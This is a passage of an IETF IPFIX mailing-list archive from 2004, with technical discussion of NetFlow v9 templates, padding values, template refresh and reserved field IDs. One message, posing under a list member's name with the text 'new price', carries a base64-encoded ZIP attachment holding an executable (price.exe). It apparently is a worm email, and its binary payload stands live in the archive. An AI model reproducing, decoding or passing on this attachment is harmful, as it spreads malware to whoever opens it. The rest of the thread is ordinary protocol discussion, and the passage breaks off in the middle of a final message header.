> believe it should be addressed by IPFIX. I understand that NF bets on 
> the concept of flows and templates, but in practice this creates 
> complexity.
>
>> In IPFIX, we standardize the IP Flow Information eXport.
>> BTW, you comment that NetFlow V9 has got fixed flow format; this is 
>> not quite correct. Depending on the traffic, the templates may change.
>
>
> Right but (1) this is a hack 

this has nothing to do with a hack.

> (2) this increases application complexity. Instead without templates 
> but with inline fields (see my nFlow proposal) that is basically a 
> merge between templates and data, everything is much much simpler. In 
> particular when you move from RFC to implementation.
>
>> But again, this is a Metering Process issue; what is important here 
>> is that the IPFIX protocol gives you the freedom to do what you want 
>> within the metering process.
>>
>> You wrote:
>>     "Finally it should be explored whether it still makes sense to have
>>     a flow identifier in the flow header when SCTP is taking care of
>>     issues such as flow retransmission or duplicate discard."
>> I'm not too sure which field you are talking about?
>
>
> I'm talking about the flow sequence number. Please note that in draft 
> for there is a MUST SHOULD (typo I guess) that needs to be fixed 
> ("This value MUST SHOULD be used by the Collecting Process to...").

corrected.

regards, Benoit

>
>>
>> You wrote:
>>     - Limited innovation, if any, with respect to existing technologies
>>     such as NetFlow.
>> I would say at it was agreed upon at the time of the protocol selection.
>> From the architecture draft:
>>   "The working group went through an extensive evaluation of the various
>>   existing protocols that were available, weighing the level of
>>   compliance with the requirements, and finally selected NetFlow V9
>>   with minor modification as the basis for the IPFIX protocol"
>> Now up to you to shoot for IPFIX version 2 when this version is out ;)
>
>
> Well as v1 is not out yet, I don't see why we whould wait until v2 for 
> fixing these issues. Isn't it?
>
>> You wrote:
>>     "Lack of configuration and monitoring that can be solved through
>>     an SNMP MIB."
>> From the architecture draft
>>     "Note that the IPFIX system does not provide for remote 
>> configuration
>>   of an IPFIX device. "
>
>
> I can accept this for configuration but not for monitoring. In fact 
> you should at least remove the options (template) and let a collector 
> be informed by a probe via SNMP trap, and let a collector query the 
> probe. You somehow use a flow for sending information that has nothing 
> to do with flows. I hope you agree with me.
>
> Regards, Luca
>
>> Regards, Benoit.
>>
>>> Dear all,
>>> I have written an IPFIX implementation report internet draft 
>>> available here: http://luca.ntop.org/draft-deri-ipfix-impl-00.txt
>>>
>>> Feel free to send me your comments.
>>>
>>> Regards, Luca
>>>
>
>


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Aug  9 07:05:35 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20003
	for <ipfix-archive@lists.ietf.org>; Mon, 9 Aug 2004 07:05:35 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bu7aB-0003ap-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 09 Aug 2004 05:40:47 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bu7aA-0003a7-00
	for ipfix-protocol@net.doit.wisc.edu; Mon, 09 Aug 2004 05:40:46 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 09 Aug 2004 03:42:40 -0700
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i79Aea5M008607;
	Mon, 9 Aug 2004 03:40:36 -0700 (PDT)
Received: from cisco.com (ams-clip-vpn-dhcp4229.cisco.com [10.61.80.132])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id LAA02175;
	Mon, 9 Aug 2004 11:40:32 +0100 (BST)
Message-ID: <4117549F.4020403@cisco.com>
Date: Mon, 09 Aug 2004 11:40:31 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: David Moore <dmoore@caida.org>
CC: Nevil Brownlee <nevil@auckland.ac.nz>,
        Sebastian Zander <szander@swin.edu.au>,
        Benoit Claise <bclaise@cisco.com>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] PROTO-14: padding.
References: <40D1F9CB.3060702@cisco.com> <40D8CB95.1010905@swin.edu.au>	<40ED1005.3000201@cisco.com> <40EDF8A1.3070900@swin.edu.au>	<40EE4671.2030804@cisco.com> <40F1D9B4.6070805@swin.edu.au>	<yfyllgu10gj.fsf@rommie.caida.org> <4112C247.1010104@cisco.com>	<4112DA56.80300@swin.edu.au>	<1091768435.4a22c63ce7bd3@webmail.auckland.ac.nz> <yfyn018zvv5.fsf@rommie.caida.org>
In-Reply-To: <yfyn018zvv5.fsf@rommie.caida.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit


>>And, given that, there's no need to say anything at all about the
>>padding bytes.
>>    
>>
>
>If you mean that nothing needs to be said about them being filled as
>0-bits, I'd agree, although I think that's reasonable to say.
>

If you don't specify the value you get a security issue -

- Implementations that just export junk, are usually exporting
  the contents of memory which is a security risk.

- Implementations that can chose the value have a covert
  channel that may be exploited.

It is therefore good practise to explicitly specify the padding
value.

- Stewart




--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Aug  9 07:38:07 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21832
	for <ipfix-archive@lists.ietf.org>; Mon, 9 Aug 2004 07:38:07 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bu8Ki-0006bM-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 09 Aug 2004 06:28:52 -0500
Received: from sj-iport-1-in.cisco.com ([171.71.176.70] helo=sj-iport-1.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bu8Kh-0006ac-00
	for ipfix-protocol@net.doit.wisc.edu; Mon, 09 Aug 2004 06:28:51 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-1.cisco.com with ESMTP; 09 Aug 2004 04:31:24 -0700
X-BrightmailFiltered: true
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i79BSkow015526;
	Mon, 9 Aug 2004 04:28:47 -0700 (PDT)
Received: from cisco.com (ams-clip-vpn-dhcp4229.cisco.com [10.61.80.132])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id MAA03415;
	Mon, 9 Aug 2004 12:28:44 +0100 (BST)
Message-ID: <41175FEC.2030602@cisco.com>
Date: Mon, 09 Aug 2004 12:28:44 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: David Moore <dmoore@caida.org>
CC: Benoit Claise <bclaise@cisco.com>, ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Template refresh
References: <40F53487.7020303@cisco.com> <yfyisby1026.fsf@rommie.caida.org>
In-Reply-To: <yfyisby1026.fsf@rommie.caida.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

This will get cleaned up on the next pass.

Stewart

David Moore wrote:

>Stewart Bryant <stbryant@cisco.com> writes:
>
>  
>
>>>From draft-ietf-ipfix-protocol-3.txt
>>>      
>>>
>>Section 13. Template Management The following text is specific to the
>>sending of Templates
>>over unreliable transport protocols:
>>
>>The Exporting Process sends the Template FlowSet and Options Template
>>FlowSet under the following conditions: <snip>
>>   3. On a regular basis, the Exporting Process MUST send all the
>>   Template Records and Options Template Records to refresh the
>>   Collecting Process. Template IDs have a limited lifetime at the
>>   Collecting Process and MUST be periodically refreshed.      Two
>>   approaches are taken to make sure that Templates get      refreshed
>>   at the Collecting Process:         * Every N number of IPFIX
>>   Messages.         * On a time basis, so every N number of minutes.
>>   Both options MUST be configurable by the user on the Exporting
>>   Porcess.      When one of these expiry conditions is met, the
>>   Exporting      Process MUST send the Template FlowSet and Options
>>   Template.  <end extract>
>>
>>Should be replaced by:
>>
>>If the Template Records and Options Template Records are sent using
>>a transport protocol that is not fully reliable they MUST be refreshed
>>on a regular basis by the Exporting Process which MUST re-send all the
>>Template Records and Options Template Records to the Collecting
>>Process.
>>    
>>
>
>Hi Stewart,
>
>Two things with this change:
>
>1. The text in section 13 of proto-4 (Collecting Process's Side) would
>need to be updated as well, since it currently says:
>
>"The life of a template at the Collecting Process is limited to a fixed
>refresh timeout. Templates not refreshed from the Exporting Process
>within the timeout are expired at the Collecting Process."
>
>
>2. If the exporting process is not required to refresh templates, then the
>collector can never expire a template.  I don't recall seeing anything
>in the proto-3 draft (nor quick search in proto-4) where the exporter
>can explicitly tell the collector to delete or forget about a template.
>If there is no ability to delete no-longer used templates, the collector
>may have to allocate resources to large numbers of defunct templates
>over time.
>
>-- david
>
>--
>Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
>Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
>"unsubscribe ipfix" in message body
>Archive     http://ipfix.doit.wisc.edu/archive/
>
>
>  
>


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Aug  9 16:06:01 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07623
	for <ipfix-archive@lists.ietf.org>; Mon, 9 Aug 2004 16:06:01 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BuG5r-00018U-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 09 Aug 2004 14:46:03 -0500
Received: from [148.235.178.218] (helo=aclo00.com)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1BuG5q-000187-00
	for ipfix@net.doit.wisc.edu; Mon, 09 Aug 2004 14:46:02 -0500
Date: Mon, 09 Aug 2004 14:41:58 -0600
To: "Ipfix" <ipfix@net.doit.wisc.edu>
From: "N.brownlee" <n.brownlee@auckland.ac.nz>
Subject: [ipfix] Message-ID: <uycqavjonmcjyftvckv@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------ahxqjrxvnqqntlblgjun"
Precedence: bulk
Message-Id: <E1BuG5r-00018U-00@mil.doit.wisc.edu>
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------ahxqjrxvnqqntlblgjun
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
new price<br><br>

<br>
</body></html>

----------ahxqjrxvnqqntlblgjun
Content-Type: application/octet-stream; name="new_price.zip"
Content-Disposition: attachment; filename="new_price.zip"
Content-Transfer-Encoding: base64

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

----------ahxqjrxvnqqntlblgjun--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Aug 10 06:18:59 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA10005
	for <ipfix-archive@lists.ietf.org>; Tue, 10 Aug 2004 06:18:59 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BuT7G-0002pw-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 10 Aug 2004 04:40:22 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BuT7F-0002pM-00
	for ipfix-info@net.doit.wisc.edu; Tue, 10 Aug 2004 04:40:21 -0500
Received: from [144.254.7.84] (dhcp-peg3-vl30-144-254-7-84.cisco.com [144.254.7.84])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i7A9eJg26869
	for <ipfix-info@net.doit.wisc.edu>; Tue, 10 Aug 2004 11:40:19 +0200 (CEST)
Message-ID: <41189800.8070306@cisco.com>
Date: Tue, 10 Aug 2004 11:40:16 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-info@net.doit.wisc.edu
Subject: [ipfix-info] reserved Field ID 0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Hi,

To make sure we avoid any potential (*) confusion with the padding of 0, I suggest we put the Field 0 as "reserved".
(*) note that [IPFIX-PROTO] is clear about it, however it can only help.

Regards, Benoit.


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Aug 10 17:36:09 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA08790
	for <ipfix-archive@lists.ietf.org>; Tue, 10 Aug 2004 17:36:09 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Budow-0005o7-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 10 Aug 2004 16:06:10 -0500
Received: from dplonka by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Budov-0005nk-00
